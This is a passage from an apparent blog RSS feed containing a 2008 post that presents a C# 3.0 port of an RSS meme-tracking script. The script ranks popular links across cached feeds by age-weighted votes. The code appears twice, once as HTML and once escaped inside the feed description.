items from {0} seeking items that are {1}"</span>, cache_location, (mode <span style="COLOR: red">== </span><span style="COLOR: #2b91af">MemeMode</span><span style="COLOR: red">.</span>PopularInPastWeek <span style="COLOR: red">? </span><span style="COLOR: #a31515">"popular
in items from the past week" </span>: <span style="COLOR: #a31515">"popular in unread
items"</span>)); <span style="COLOR: green">//decide what filter function to use depending
on mode </span><span style="COLOR: #2b91af">Func</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">RssItem</span>, <span style="COLOR: blue">bool</span><span style="COLOR: red">&gt; </span>filterFunc <span style="COLOR: red">= </span><span style="COLOR: blue">null</span>; <span style="COLOR: blue">if</span>(mode <span style="COLOR: red">== </span><span style="COLOR: #2b91af">MemeMode</span><span style="COLOR: red">.</span>PopularInPastWeek)
filterFunc <span style="COLOR: red">= </span>x <span style="COLOR: red">=&gt; </span>(<span style="COLOR: #2b91af">DateTime</span><span style="COLOR: red">.</span>Now <span style="COLOR: red">- </span>x<span style="COLOR: red">.</span>Date <span style="COLOR: red">&lt; </span>one_week)
; <span style="COLOR: blue">else </span>filterFunc <span style="COLOR: red">= </span>x <span style="COLOR: red">=&gt; </span>x<span style="COLOR: red">.</span>Read <span style="COLOR: red">== </span><span style="COLOR: blue">false</span>; <span style="COLOR: green">//in
mode = 0 each entry linking to an item counts as a vote, in mode != 0 value of vote
depends on item age </span><span style="COLOR: #2b91af">Func</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">RssItem</span>, <span style="COLOR: blue">double</span><span style="COLOR: red">&gt; </span>voteFunc <span style="COLOR: red">= </span><span style="COLOR: blue">null</span>; <span style="COLOR: blue">if</span>(mode <span style="COLOR: red">== </span><span style="COLOR: #2b91af">MemeMode</span><span style="COLOR: red">.</span>PopularInPastWeek)
voteFunc <span style="COLOR: red">= </span>x <span style="COLOR: red">=&gt; </span><span style="COLOR: purple">1.0 </span><span style="COLOR: red">- </span>(<span style="COLOR: #2b91af">DateTime</span><span style="COLOR: red">.</span>Now<span style="COLOR: red">.</span>Ticks <span style="COLOR: red">- </span>x<span style="COLOR: red">.</span>Date<span style="COLOR: red">.</span>Ticks) <span style="COLOR: red">* </span><span style="COLOR: purple">1.0 </span><span style="COLOR: red">/ </span>one_week<span style="COLOR: red">.</span>Ticks; <span style="COLOR: blue">else </span>voteFunc <span style="COLOR: red">= </span>x <span style="COLOR: red">=&gt; </span><span style="COLOR: purple">1.0</span>; <span style="COLOR: blue">var </span>di <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">DirectoryInfo</span>(cache_location); <span style="COLOR: blue">foreach</span>(<span style="COLOR: blue">var </span>fi <span style="COLOR: blue">in </span>di<span style="COLOR: red">.</span>GetFiles(<span style="COLOR: #a31515">"*.xml"</span>)){ <span style="COLOR: blue">var </span>doc <span style="COLOR: red">= </span><span style="COLOR: #2b91af">XElement</span><span style="COLOR: red">.</span>Load(<span style="COLOR: #2b91af">Path</span><span style="COLOR: red">.</span>Combine(cache_location,
fi<span style="COLOR: red">.</span>Name)); <span style="COLOR: green">// for each
item in feed // 1. Get permalink, title, read status and date // 2. Get list of outgoing
links + link title pairs // 3. Convert above to RssItem object // 4. apply filter
to pick candidate items </span><span style="COLOR: blue">var </span>items <span style="COLOR: red">= </span><span style="COLOR: blue">from </span>rssitem <span style="COLOR: blue">in </span>(<span style="COLOR: blue">from </span>itemnode <span style="COLOR: blue">in </span>doc<span style="COLOR: red">.</span>Descendants(<span style="COLOR: #a31515">"item"</span>) <span style="COLOR: blue">select </span>MakeRssItem(itemnode)) <span style="COLOR: blue">where </span>filterFunc(rssitem) <span style="COLOR: blue">select </span>rssitem; <span style="COLOR: blue">var </span>feedTitle <span style="COLOR: red">= </span>doc<span style="COLOR: red">.</span>XPathSelectElement(<span style="COLOR: #a31515">"channel/title"</span>)<span style="COLOR: red">.</span>Value; <span style="COLOR: green">//
calculate vote for each outgoing url </span><span style="COLOR: blue">foreach </span>(<span style="COLOR: #2b91af">RssItem </span>item <span style="COLOR: blue">in </span>items)
{ <span style="COLOR: blue">var </span>vote <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">Vote</span>(){
Weight<span style="COLOR: red">=</span>voteFunc(item), Item<span style="COLOR: red">=</span>item,
FeedTitle<span style="COLOR: red">=</span>feedTitle }; <span style="COLOR: green">//add
a vote for each of the URLs </span><span style="COLOR: blue">foreach </span>(<span style="COLOR: blue">var </span>url <span style="COLOR: blue">in </span>item<span style="COLOR: red">.</span>OutgoingLinks<span style="COLOR: red">.</span>Keys)
{ <span style="COLOR: #2b91af">List</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">Vote</span><span style="COLOR: red">&gt; </span>value <span style="COLOR: red">= </span><span style="COLOR: blue">null</span>; <span style="COLOR: blue">if </span>(<span style="COLOR: red">!</span>all_links<span style="COLOR: red">.</span>TryGetValue(url, <span style="COLOR: blue">out </span>value))
value <span style="COLOR: red">= </span>all_links[url] <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">List</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">Vote</span><span style="COLOR: red">&gt;</span>();
value<span style="COLOR: red">.</span>Add(vote); } }<span style="COLOR: green">//
foreach (RssItem item in items) </span>}<span style="COLOR: green">// foreach(var
fi in di.GetFiles("*.xml")) //tally the votes </span><span style="COLOR: #2b91af">List</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">RankedLink</span><span style="COLOR: red">&gt; </span>weighted_links <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">List</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">RankedLink</span><span style="COLOR: red">&gt;</span>(); <span style="COLOR: blue">foreach </span>(<span style="COLOR: blue">var </span>link_n_votes <span style="COLOR: blue">in </span>all_links)
{ <span style="COLOR: #2b91af">Dictionary</span><span style="COLOR: red">&lt;</span><span style="COLOR: blue">string</span>, <span style="COLOR: blue">double</span><span style="COLOR: red">&gt; </span>site <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">Dictionary</span><span style="COLOR: red">&lt;</span><span style="COLOR: blue">string</span>, <span style="COLOR: blue">double</span><span style="COLOR: red">&gt;</span>(); <span style="COLOR: blue">foreach </span>(<span style="COLOR: blue">var </span>vote <span style="COLOR: blue">in </span>link_n_votes<span style="COLOR: red">.</span>Value)
{ <span style="COLOR: blue">double </span>oldweight; site[vote<span style="COLOR: red">.</span>FeedTitle] <span style="COLOR: red">= </span>site<span style="COLOR: red">.</span>TryGetValue(vote<span style="COLOR: red">.</span>FeedTitle, <span style="COLOR: blue">out </span>oldweight) <span style="COLOR: red">? </span><span style="COLOR: #2b91af">Math</span><span style="COLOR: red">.</span>Min(oldweight,
vote<span style="COLOR: red">.</span>Weight): vote<span style="COLOR: red">.</span>Weight;
} weighted_links<span style="COLOR: red">.</span>Add(<span style="COLOR: blue">new </span><span style="COLOR: #2b91af">RankedLink</span>(){Score<span style="COLOR: red">=</span>site<span style="COLOR: red">.</span>Values<span style="COLOR: red">.</span>Sum(),
Url<span style="COLOR: red">=</span>link_n_votes<span style="COLOR: red">.</span>Key});
} weighted_links<span style="COLOR: red">.</span>Sort((x, y) <span style="COLOR: red">=&gt; </span>y<span style="COLOR: red">.</span>Score<span style="COLOR: red">.</span>CompareTo(x<span style="COLOR: red">.</span>Score)); <span style="COLOR: green">//output
the results, choose link text from first item we saw story linked from </span><span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;html&gt;&lt;body&gt;&lt;ol&gt;"</span>); <span style="COLOR: blue">foreach</span>(<span style="COLOR: blue">var </span>rankedlink <span style="COLOR: blue">in </span>weighted_links<span style="COLOR: red">.</span>GetRange(<span style="COLOR: purple">0</span>, <span style="COLOR: purple">10</span>)){ <span style="COLOR: blue">var </span>link_text <span style="COLOR: red">= </span>(all_links[rankedlink<span style="COLOR: red">.</span>Url][<span style="COLOR: purple">0</span>])<span style="COLOR: red">.</span>Item<span style="COLOR: red">.</span>OutgoingLinks[rankedlink<span style="COLOR: red">.</span>Url]; <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;li&gt;&lt;a
href='{0}'&gt;{1}&lt;/a&gt; {2}"</span>, rankedlink<span style="COLOR: red">.</span>Url,
link_text, rankedlink<span style="COLOR: red">.</span>Score); <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;p&gt;Seen
on:"</span>); <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;ul&gt;"</span>); <span style="COLOR: blue">foreach </span>(<span style="COLOR: blue">var </span>vote <span style="COLOR: blue">in </span>all_links[rankedlink<span style="COLOR: red">.</span>Url])
{ <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;li&gt;{0}:
&lt;a href='{1}'&gt;{2}&lt;/a&gt;&lt;/li&gt;"</span>, vote<span style="COLOR: red">.</span>FeedTitle,
vote<span style="COLOR: red">.</span>Item<span style="COLOR: red">.</span>Permalink,
vote<span style="COLOR: red">.</span>Item<span style="COLOR: red">.</span>Title);
} <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;/ul&gt;&lt;/p&gt;&lt;/li&gt;"</span>);
} <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"&lt;/ol&gt;&lt;/body&gt;&lt;/html&gt;"</span>); <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>ReadLine();
} } }</pre>
        <b>Now Playing</b>: <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lloyd Banks">Lloyd
Banks</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lloyd Banks&amp;songTerm=Boywonder">Boywonder</a><a href="http://11011.net/software/vspaste"></a><img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6" /></body>
      <title>A Memetracker in C# 3.0</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/01/02/AMemetrackerInC30.aspx</link>
      <pubDate>Wed, 02 Jan 2008 03:05:21 GMT</pubDate>
      <description>&lt;p&gt;
A few weeks ago, I wrote a prototype for the meme tracking feature of RSS Bandit in
IronPython. The code was included in my blog post &lt;a title="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx" href="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx"&gt;A
Meme Tracker In IronPython&lt;/a&gt;.&amp;nbsp;&amp;nbsp; The script was a port of &lt;a href="http://intertwingly.net/stories/2006/09/05/mememe.py"&gt;Sam
Ruby's original MeMeme script&lt;/a&gt; which shows the most recently popular links from
from a set of RSS feeds. 
&lt;/p&gt;
&lt;p&gt;
I was impressed with how succinct the code was in IronPython when compared to what
the code eventually looked like when I ported it to C# 2.0 and integrated it into &lt;a href="http://www.rssbandit.org/"&gt;RSS
Bandit&lt;/a&gt;. Looking over &lt;a href="http://msdn2.microsoft.com/en-us/library/bb308966.aspx"&gt;the
list of new features in C# 3.0&lt;/a&gt;, it occurred to me that a C# 3.0 version of the
script would be as concise or even more concise than the IronPython version. So I
ported the script to C# 3.0 and learned a few things along the way. 
&lt;/p&gt;
&lt;p&gt;
I'll post something shortly that goes into some details on my perspectives on the
pros and cons of the various C# 3.0 features when compared to various Python features.
For now, here's the meme tracker script in C# 3.0. Comparing it to &lt;a href="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx"&gt;the
IronPython version&lt;/a&gt; should provide some food for thought. 
&lt;/p&gt;
&lt;hr&gt;
&lt;pre class="code"&gt;&lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Collections; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Collections&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Generic; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Linq; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Text&lt;span style="COLOR: red"&gt;.&lt;/span&gt;RegularExpressions; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;IO; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Xml; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Xml&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Linq; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Xml&lt;span style="COLOR: red"&gt;.&lt;/span&gt;XPath; &lt;span style="COLOR: blue"&gt;using &lt;/span&gt;System&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Globalization; &lt;span style="COLOR: blue"&gt;namespace &lt;/span&gt;Memetracker
{ &lt;span style="COLOR: blue"&gt;enum &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode &lt;/span&gt;{
PopularInUnread, PopularInPastWeek } &lt;span style="COLOR: blue"&gt;class &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;{ &lt;span style="COLOR: blue"&gt;public
string &lt;/span&gt;Url { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;} &lt;span style="COLOR: blue"&gt;public
double &lt;/span&gt;Score { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;
} } &lt;span style="COLOR: blue"&gt;class &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote &lt;/span&gt;{ &lt;span style="COLOR: blue"&gt;public
double &lt;/span&gt;Weight { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;
} &lt;span style="COLOR: blue"&gt;public &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem &lt;/span&gt;Item
{ &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;; } &lt;span style="COLOR: blue"&gt;public
string &lt;/span&gt;FeedTitle { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;
} } &lt;span style="COLOR: blue"&gt;class &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem &lt;/span&gt;{ &lt;span style="COLOR: blue"&gt;public
string &lt;/span&gt;Title { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;
} &lt;span style="COLOR: blue"&gt;public &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;DateTime &lt;/span&gt;Date
{ &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;; } &lt;span style="COLOR: blue"&gt;public
bool &lt;/span&gt;Read { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;
} &lt;span style="COLOR: blue"&gt;public string &lt;/span&gt;Permalink { &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;;
} &lt;span style="COLOR: blue"&gt;public &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;string&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;OutgoingLinks
{ &lt;span style="COLOR: blue"&gt;get&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;set&lt;/span&gt;; } } &lt;span style="COLOR: blue"&gt;class &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Program &lt;/span&gt;{ &lt;span style="COLOR: blue"&gt;static &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&amp;gt; &lt;/span&gt;all_links &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&amp;gt;&lt;/span&gt;(); &lt;span style="COLOR: blue"&gt;static &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;TimeSpan &lt;/span&gt;one_week &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;TimeSpan&lt;/span&gt;(&lt;span style="COLOR: purple"&gt;7&lt;/span&gt;, &lt;span style="COLOR: purple"&gt;0&lt;/span&gt;, &lt;span style="COLOR: purple"&gt;0&lt;/span&gt;, &lt;span style="COLOR: purple"&gt;0&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;static &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode &lt;/span&gt;mode &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInPastWeek; &lt;span style="COLOR: blue"&gt;static
string &lt;/span&gt;cache_location &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Path&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Combine(&lt;span style="COLOR: #2b91af"&gt;Environment&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;GetFolderPath(&lt;span style="COLOR: #2b91af"&gt;Environment&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;SpecialFolder&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;LocalApplicationData), &lt;span style="COLOR: #a31515"&gt;"Temp"&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;static
string &lt;/span&gt;href_regex &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: #a31515"&gt;@"&amp;lt;a[\s]+[^&amp;gt;]*?href[\s]?=[\s""']+(.*?)[\""']+.*?&amp;gt;([^&amp;lt;]+|.*?)?&amp;lt;\/a&amp;gt;"&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;static &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Regex &lt;/span&gt;regex &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Regex&lt;/span&gt;(href_regex); &lt;span style="COLOR: blue"&gt;static &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem &lt;/span&gt;MakeRssItem(&lt;span style="COLOR: #2b91af"&gt;XElement &lt;/span&gt;itemnode)
{ &lt;span style="COLOR: #2b91af"&gt;XElement &lt;/span&gt;link_node &lt;span style="COLOR: red"&gt;= &lt;/span&gt;itemnode&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Element(&lt;span style="COLOR: #a31515"&gt;"link"&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;permalink &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(link_node &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null &lt;/span&gt;&lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #a31515"&gt;"" &lt;/span&gt;:
link_node&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value); &lt;span style="COLOR: #2b91af"&gt;XElement &lt;/span&gt;title_node &lt;span style="COLOR: red"&gt;= &lt;/span&gt;itemnode&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Element(&lt;span style="COLOR: #a31515"&gt;"title"&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;title &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(title_node &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null &lt;/span&gt;&lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #a31515"&gt;"" &lt;/span&gt;:
title_node&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value); &lt;span style="COLOR: #2b91af"&gt;XElement &lt;/span&gt;date_node &lt;span style="COLOR: red"&gt;= &lt;/span&gt;itemnode&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Element(&lt;span style="COLOR: #a31515"&gt;"pubDate"&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;date &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(date_node &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null &lt;/span&gt;&lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;DateTime&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Now
: &lt;span style="COLOR: #2b91af"&gt;DateTime&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Parse(date_node&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value, &lt;span style="COLOR: blue"&gt;null&lt;/span&gt;, &lt;span style="COLOR: #2b91af"&gt;DateTimeStyles&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;AdjustToUniversal)); &lt;span style="COLOR: #2b91af"&gt;XAttribute &lt;/span&gt;read_node &lt;span style="COLOR: red"&gt;= &lt;/span&gt;itemnode&lt;span style="COLOR: red"&gt;.&lt;/span&gt;XPathEvaluate(&lt;span style="COLOR: #a31515"&gt;"//@*[local-name()
= 'read']"&lt;/span&gt;) &lt;span style="COLOR: blue"&gt;as &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;XAttribute&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;read &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(read_node &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null &lt;/span&gt;&lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: blue"&gt;false &lt;/span&gt;: &lt;span style="COLOR: #2b91af"&gt;Boolean&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Parse(read_node&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value)); &lt;span style="COLOR: #2b91af"&gt;XElement &lt;/span&gt;desc_node &lt;span style="COLOR: red"&gt;= &lt;/span&gt;itemnode&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Element(&lt;span style="COLOR: #a31515"&gt;"description"&lt;/span&gt;); &lt;span style="COLOR: green"&gt;//
obtain href value and link text pairs &lt;/span&gt;&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;outgoing &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(desc_node &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null &lt;/span&gt;&lt;span style="COLOR: red"&gt;? &lt;/span&gt;regex&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Matches(&lt;span style="COLOR: #2b91af"&gt;String&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Empty)
: regex&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Matches(desc_node&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value)); &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;outgoing_links &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;string&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;(); &lt;span style="COLOR: green"&gt;//ensure
we only collect unique href values from entry by replacing list returned by regex
with dictionary &lt;/span&gt;&lt;span style="COLOR: blue"&gt;if &lt;/span&gt;(outgoing&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Count &lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;&lt;span style="COLOR: purple"&gt;0&lt;/span&gt;)
{ &lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;Match &lt;/span&gt;m &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;outgoing)
outgoing_links[m&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Groups[&lt;span style="COLOR: purple"&gt;1&lt;/span&gt;]&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value] &lt;span style="COLOR: red"&gt;= &lt;/span&gt;m&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Groups[&lt;span style="COLOR: purple"&gt;2&lt;/span&gt;]&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value;
} &lt;span style="COLOR: blue"&gt;return new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem&lt;/span&gt;()
{ Permalink &lt;span style="COLOR: red"&gt;= &lt;/span&gt;permalink, Title &lt;span style="COLOR: red"&gt;= &lt;/span&gt;title,
Date &lt;span style="COLOR: red"&gt;= &lt;/span&gt;date, Read &lt;span style="COLOR: red"&gt;= &lt;/span&gt;read,
OutgoingLinks &lt;span style="COLOR: red"&gt;= &lt;/span&gt;outgoing_links }; } &lt;span style="COLOR: blue"&gt;static
void &lt;/span&gt;Main(&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;[] args) { &lt;span style="COLOR: blue"&gt;if &lt;/span&gt;(args&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Length &lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;&lt;span style="COLOR: purple"&gt;0&lt;/span&gt;) &lt;span style="COLOR: green"&gt;//get
directory of RSS feeds &lt;/span&gt;cache_location &lt;span style="COLOR: red"&gt;= &lt;/span&gt;args[&lt;span style="COLOR: purple"&gt;0&lt;/span&gt;]; &lt;span style="COLOR: blue"&gt;if &lt;/span&gt;(args&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Length &lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;&lt;span style="COLOR: purple"&gt;1&lt;/span&gt;) &lt;span style="COLOR: green"&gt;//mode
= 0 means use only unread items, mode != 0 means use all items from past week &lt;/span&gt;mode &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;Int32&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Parse(args[&lt;span style="COLOR: purple"&gt;1&lt;/span&gt;]) &lt;span style="COLOR: red"&gt;!= &lt;/span&gt;&lt;span style="COLOR: purple"&gt;0 &lt;/span&gt;&lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInPastWeek
: &lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInUnread); &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"Processing
items from {0} seeking items that are {1}"&lt;/span&gt;, cache_location, (mode &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInPastWeek &lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #a31515"&gt;"popular
